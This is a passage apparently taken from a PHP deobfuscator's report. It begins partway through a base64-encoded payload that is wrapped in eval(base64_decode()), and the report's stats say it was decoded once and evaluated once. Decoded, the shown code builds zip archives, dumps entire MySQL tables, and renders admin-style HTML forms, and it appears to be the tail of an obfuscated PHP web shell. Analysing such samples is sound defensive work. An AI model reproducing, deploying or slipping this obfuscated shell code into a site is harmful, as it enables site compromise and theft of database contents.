bWU7DQoJCSRmciAuPSAkemRhdGE7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoNCgkJJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KCQkkbmV3X29mZnNldCA9IHN0cmxlbihpbXBsb2RlKCcnLCAkdGhpcy0+ZGF0YXNlYykpOw0KDQoJCSRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsNCgkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoJCSRjZHJlYyAuPSAiXHgxNFx4MDAiOw0KCQkkY2RyZWMgLj0gIlx4MDBceDAwIjsNCgkJJGNkcmVjIC49ICJceDA4XHgwMCI7DQoJCSRjZHJlYyAuPSAkaGV4ZHRpbWU7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCSRjZHJlYyAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICR0aGlzIC0+IG9sZF9vZmZzZXQgKTsNCgkJJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0Ow0KCQkkY2RyZWMgLj0gJG5hbWU7DQoNCgkJJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCgl9DQoNCglmdW5jdGlvbiBmaWxlKCkgew0KCQkkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOw0KCQkkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsNCgkJcmV0dXJuICRkYXRhIC4gJGN0cmxkaXIgLiAkdGhpcyAtPiBlb2ZfY3RybF9kaXIgLiBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLiBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLglwYWNrKCdWJywgc3RybGVuKCRjdHJsZGlyKSkgLiBwYWNrKCdWJywgc3RybGVuKCRkYXRhKSkgLiAiXHgwMFx4MDAiOw0KCX0NCn0NCg0KLy8gsbi3JiMzMDQ7yiYjMzA1O74mIzMwNDu/4g0KZnVuY3Rpb24gc3FsZHVtcHRhYmxlKCR0YWJsZSwgJGZwPTApIHsNCgkkdGFibGVkdW1wID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTICR0YWJsZTtcbiI7DQoJJHRhYmxlZHVtcCAuPSAiQ1JFQVRFIFRBQkxFICR0YWJsZSAoXG4iOw0KDQoJJGZpcnN0ZmllbGQ9MTsNCg0KCSRmaWVsZHMgPSBxKCJTSE9XIEZJRUxEUyBGUk9NICR0YWJsZSIpOw0KCXdoaWxlICgkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSgkZmllbGRzKSkgew0KCQlpZiAoISRmaXJzdGZpZWxkKSB7DQoJCQkkdGFibGVkdW1wIC49ICIsXG4iOw0KCQl9IGVsc2Ugew0KCQkJJGZpcnN0ZmllbGQ9MDsNCgkJfQ0KCQkkdGFibGVkdW1wIC49ICIgICAkZmllbGRbRmllbGRdICRmaWVsZFtUeXBlXSI7DQoJCWlmICghZW1wdHkoJGZpZWxkWyJEZWZhdWx0Il0pKSB7DQoJCQkkdGFibGVkdW1wIC49ICIgREVGQVVMVCAnJGZpZWxkW0RlZmF1bHRdJyI7DQoJCX0NCgkJaWYgKCRmaWVsZFsnTnVsbCddICE9ICJZRVMiKSB7DQoJCQkkdGFibGVkdW1wIC49ICIgTk9UIE5VTEwiOw0KCQl9DQoJCWlmICgkZmllbGRbJ0V4dHJhJ10gIT0gIiIpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiAkZmllbGRbRXh0cmFdIjsNCgkJfQ0KCX0NCglmcigkZmllbGRzKTsNCg0KCSRrZXlzID0gcSgiU0hPVyBLRVlTIEZST00gJHRhYmxlIik7DQoJd2hpbGUgKCRrZXkgPSBteXNxbF9mZXRjaF9hcnJheSgka2V5cykpIHsNCgkJJGtuYW1lPSRrZXlbJ0tleV9uYW1lJ107DQoJCWlmICgka25hbWUgIT0gIlBSSU1BUlkiICYmICRrZXlbJ05vbl91bmlxdWUnXSA9PSAwKSB7DQoJCQkka25hbWU9IlVOSVFVRXwka25hbWUiOw0KCQl9DQoJCWlmKCFpc19hcnJheSgkaW5kZXhbJGtuYW1lXSkpIHsNCgkJCSRpbmRleFska25hbWVdID0gYXJyYXkoKTsNCgkJfQ0KCQkkaW5kZXhbJGtuYW1lXVtdID0gJGtleVsnQ29sdW1uX25hbWUnXTsNCgl9DQoJZnIoJGtleXMpOw0KDQoJd2hpbGUobGlzdCgka25hbWUsICRjb2x1bW5zKSA9IEBlYWNoKCRpbmRleCkpIHsNCgkJJHRhYmxlZHVtcCAuPSAiLFxuIjsNCgkJJGNvbG5hbWVzPWltcGxvZGUoJGNvbHVtbnMsIiwiKTsNCg0KCQlpZiAoJGtuYW1lID09ICJQUklNQVJZIikgew0KCQkJJHRhYmxlZHVtcCAuPSAiICAgUFJJTUFSWSBLRVkgKCRjb2xuYW1lcykiOw0KCQl9IGVsc2Ugew0KCQkJaWYgKHN1YnN0cigka25hbWUsMCw2KSA9PSAiVU5JUVVFIikgew0KCQkJCSRrbmFtZT1zdWJzdHIoJGtuYW1lLDcpOw0KCQkJfQ0KCQkJJHRhYmxlZHVtcCAuPSAiICAgS0VZICRrbmFtZSAoJGNvbG5hbWVzKSI7DQoJCX0NCgl9DQoNCgkkdGFibGVkdW1wIC49ICJcbik7XG5cbiI7DQoJaWYgKCRmcCkgew0KCQlmd3JpdGUoJGZwLCR0YWJsZWR1bXApOw0KCX0gZWxzZSB7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoNCgkkcm93cyA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlIik7DQoJJG51bWZpZWxkcyA9IG15c3FsX251bV9maWVsZHMoJHJvd3MpOw0KCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJvd3MpKSB7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KDQoJCSRmaWVsZGNvdW50ZXI9LTE7DQoJCSRmaXJzdGZpZWxkPTE7DQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXI8JG51bWZpZWxkcykgew0KCQkJaWYgKCEkZmlyc3RmaWVsZCkgew0KCQkJCSR0YWJsZWR1bXAuPSIsICI7DQoJCQl9IGVsc2Ugew0KCQkJCSRmaXJzdGZpZWxkPTA7DQoJCQl9DQoNCgkJCWlmICghaXNzZXQoJHJvd1skZmllbGRjb3VudGVyXSkpIHsNCgkJCQkkdGFibGVkdW1wIC49ICJOVUxMIjsNCgkJCX0gZWxzZSB7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRmaWVsZGNvdW50ZXJdKS4iJyI7DQoJCQl9DQoJCX0NCg0KCQkkdGFibGVkdW1wIC49ICIpO1xuIjsNCg0KCQlpZiAoJGZwKSB7DQoJCQlmd3JpdGUoJGZwLCR0YWJsZWR1bXApOw0KCQl9IGVsc2Ugew0KCQkJZWNobyAkdGFibGVkdW1wOw0KCQl9DQoJfQ0KCWZyKCRyb3dzKTsNCglpZiAoJGZwKSB7DQoJCWZ3cml0ZSgkZnAsIlxuIik7DQoJfSBlbHNlIHsNCgkJZWNobyAiXG4iOw0KCX0NCn0NCg0KZnVuY3Rpb24gdWUoJHN0cil7DQoJcmV0dXJuIHVybGVuY29kZSgkc3RyKTsNCn0NCg0KZnVuY3Rpb24gcCgkc3RyKXsNCgllY2hvICRzdHIuIlxuIjsNCn0NCg0KZnVuY3Rpb24gdGJoZWFkKCkgew0KCXAoJzx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjAiPicpOw0KfQ0KZnVuY3Rpb24gdGJmb290KCl7DQoJcCgnPC90YWJsZT4nKTsNCn0NCg0KZnVuY3Rpb24gbWFrZWhpZGUoJG5hbWUsJHZhbHVlPScnKXsNCglwKCI8aW5wdXQgaWQ9XCIkbmFtZVwiIHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiIC8+Iik7DQp9DQoNCmZ1bmN0aW9uIG1ha2VpbnB1dCgkYXJnID0gYXJyYXkoKSl7DQoJJGFyZ1snc2l6ZSddID0gJGFyZ1snc2l6ZSddID4gMCA/ICJzaXplPVwiJGFyZ1tzaXplXVwiIiA6ICJzaXplPVwiMTAwXCIiOw0KCSRhcmdbJ2V4dHJhJ10gPSAkYXJnWydleHRyYSddID8gJGFyZ1snZXh0cmEnXSA6ICcnOw0KCSEkYXJnWyd0eXBlJ10gJiYgJGFyZ1sndHlwZSddID0gJ3RleHQnOw0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOw0KCSRhcmdbJ2NsYXNzJ10gPSAkYXJnWydjbGFzcyddID8gJGFyZ1snY2xhc3MnXSA6ICdpbnB1dCc7DQoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgew0KCQlwKCI8cD4kYXJnW3RpdGxlXTxpbnB1dCBjbGFzcz1cIiRhcmdbY2xhc3NdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiB2YWx1ZT1cIiRhcmdbdmFsdWVdXCIgdHlwZT1cIiRhcmdbdHlwZV1cIiAkYXJnW3NpemVdICRhcmdbZXh0cmFdIC8+PC9wPiIpOw0KCX0gZWxzZSB7DQoJCXAoIiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz4iKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIG1ha2VzZWxlY3QoJGFyZyA9IGFycmF5KCkpew0KCWlmICgkYXJnWydvbmNoYW5nZSddKSB7DQoJCSRvbmNoYW5nZSA9ICdvbmNoYW5nZT0iJy4kYXJnWydvbmNoYW5nZSddLiciJzsNCgl9DQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddIDogJyc7DQoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPHA+Jyk7DQoJcCgiJGFyZ1t0aXRsZV0gPHNlbGVjdCBjbGFzcz1cImlucHV0XCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiAkb25jaGFuZ2U+Iik7DQoJCWlmIChpc19hcnJheSgkYXJnWydvcHRpb24nXSkpIHsNCgkJCWZvcmVhY2ggKCRhcmdbJ29wdGlvbiddIGFzICRrZXk9PiR2YWx1ZSkgew0KCQkJCWlmICgkYXJnWydzZWxlY3RlZCddPT0ka2V5KSB7DQoJCQkJCXAoIjxvcHRpb24gdmFsdWU9XCIka2V5XCIgc2VsZWN0ZWQ+JHZhbHVlPC9vcHRpb24+Iik7DQoJCQkJfSBlbHNlIHsNCgkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIj4kdmFsdWU8L29wdGlvbj4iKTsNCgkJCQl9DQoJCQl9DQoJCX0NCglwKCI8L3NlbGVjdD4iKTsNCglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8L3A+Jyk7DQp9DQpmdW5jdGlvbiBmb3JtaGVhZCgkYXJnID0gYXJyYXkoKSkgew0KCSEkYXJnWydtZXRob2QnXSAmJiAkYXJnWydtZXRob2QnXSA9ICdwb3N0JzsNCgkhJGFyZ1snYWN0aW9uJ10gJiYgJGFyZ1snYWN0aW9uJ10gPSAkc2VsZjsNCgkkYXJnWyd0YXJnZXQnXSA9ICRhcmdbJ3RhcmdldCddID8gInRhcmdldD1cIiRhcmdbdGFyZ2V0XVwiIiA6ICcnOw0KCSEkYXJnWyduYW1lJ10gJiYgJGFyZ1snbmFtZSddID0gJ2Zvcm0xJzsNCglwKCI8Zm9ybSBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIGFjdGlvbj1cIiRhcmdbYWN0aW9uXVwiIG1ldGhvZD1cIiRhcmdbbWV0aG9kXVwiICRhcmdbdGFyZ2V0XT4iKTsNCglpZiAoJGFyZ1sndGl0bGUnXSkgew0KCQlwKCc8aDI+Jy4kYXJnWyd0aXRsZSddLicgJnJhcXVvOzwvaDI+Jyk7DQoJfQ0KfQ0KCQ0KZnVuY3Rpb24gbWFrZXRleHQoJGFyZyA9IGFycmF5KCkpew0KCSEkYXJnWydjb2xzJ10gJiYgJGFyZ1snY29scyddID0gMTAwOw0KCSEkYXJnWydyb3dzJ10gJiYgJGFyZ1sncm93cyddID0gMjU7DQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7DQoJcCgiPHA+JGFyZ1t0aXRsZV08dGV4dGFyZWEgY2xhc3M9XCJhcmVhXCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBjb2xzPVwiJGFyZ1tjb2xzXVwiIHJvd3M9XCIkYXJnW3Jvd3NdXCIgJGFyZ1tleHRyYV0+JGFyZ1t2YWx1ZV08L3RleHRhcmVhPjwvcD4iKTsNCn0NCg0KZnVuY3Rpb24gZm9ybWZvb3RlcigkbmFtZSA9ICcnKXsNCgkhJG5hbWUgJiYgJG5hbWUgPSAnc3VibWl0JzsNCglwKCc8cD48aW5wdXQgY2xhc3M9ImJ0IiBuYW1lPSInLiRuYW1lLiciIGlkPVwiJy4kbmFtZS4nXCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0Ij48L3A+Jyk7DQoJcCgnPC9mb3JtPicpOw0KfQ0KDQpmdW5jdGlvbiBmb3JtZm9vdCgpew0KCXAoJzwvZm9ybT4nKTsNCn0NCg0KLy8gtffK1LqvyiYjMzA1Ow0KZnVuY3Rpb24gcHIoJGEpIHsNCgllY2hvICc8cHJlPic7DQoJcHJpbnRfcigkYSk7DQoJZWNobyAnPC9wcmU+JzsNCn0NCg0KPz4=')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 7e80d02ddf4f7052e735888291551a38
Eval Count 1
Decode Time 254 ms